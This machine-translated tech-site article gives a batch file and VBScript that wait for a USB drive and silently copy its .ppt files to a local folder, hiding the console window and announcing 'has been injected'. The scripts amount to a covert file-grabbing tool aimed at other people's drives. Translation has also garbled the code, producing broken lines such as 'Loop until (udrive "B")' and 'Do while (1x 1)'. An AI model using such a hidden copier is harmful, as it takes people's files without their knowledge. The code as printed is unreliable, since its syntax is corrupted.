Shulou(Shulou.com)06/03 Report--

This article mainly introduces vbs how to automatically copy the content of U disk, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let the editor take you to understand it.

The idea is very simple, high-level things do not have any technical content, just quote a few functions or methods. At first I used batch processing (if you insert the flash drive with the letter J, save the courseware on disk F) open notepad and type the following:

The copy code is as follows:

: cheat

Ping 127.0.0.1 > nul

If exist J:\ * .ppt (copy J:\ * .ppt F:\ & & exit) else goto cheat

Save as main.bat, this file is enough to achieve this function, but I can't think of any DOS command to hide the command prompt interface, so I have to write a vbs script to do this:

Open notepad and type:

The copy code is as follows:

Set wshshell=createobject ("wscript.shell")

Wshshell.run "main.bat", 0

Msgbox "has been injected", 48, "Night Moon"

Wscript.quit

Save as starter.vbs, and note that this file should be placed in the same directory as main.bat. Then double-click starter.vbs to run.

Later, I thought I could make it a little better with the vbs script, but I haven't played with it for a long time. I don't even know how to use inputbox. I tried it several times to make it better. It's convenient to open your notepad and type:

The copy code is as follows:

On error resume next

Dim udrive,dfold,src,ptr

Set fso=createobject ("Scripting.FileSystemObject")

Do

Udrive=inputbox ("Please enter the flash drive letter as follows", "user instruction", H)

Loop until (udrive "B")

Dfold=inputbox ("Please enter destination folder", "user directive", "F:\ Temp")

If (not fso.folderexists (dfold)) then

Fso.createfolder (dfold)

End if

Src=udrive + ":\ * .ppt"

Ptr=dfold + "\"

Do while (1x 1)

If fso.driveexists (udrive) then

Fso.copyfile src,ptr,true

Set fso=nothing

Wscript.quit

End if

Wscript.sleep 2000

Loop

Save the above content as xue.vbs, double-click and run it.

Thank you for reading this article carefully. I hope the article "how to automatically copy the contents of U disk from vbs" shared by the editor will be helpful to everyone. At the same time, I also hope that you will support us and pay attention to the industry information channel. More related knowledge is waiting for you to learn!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.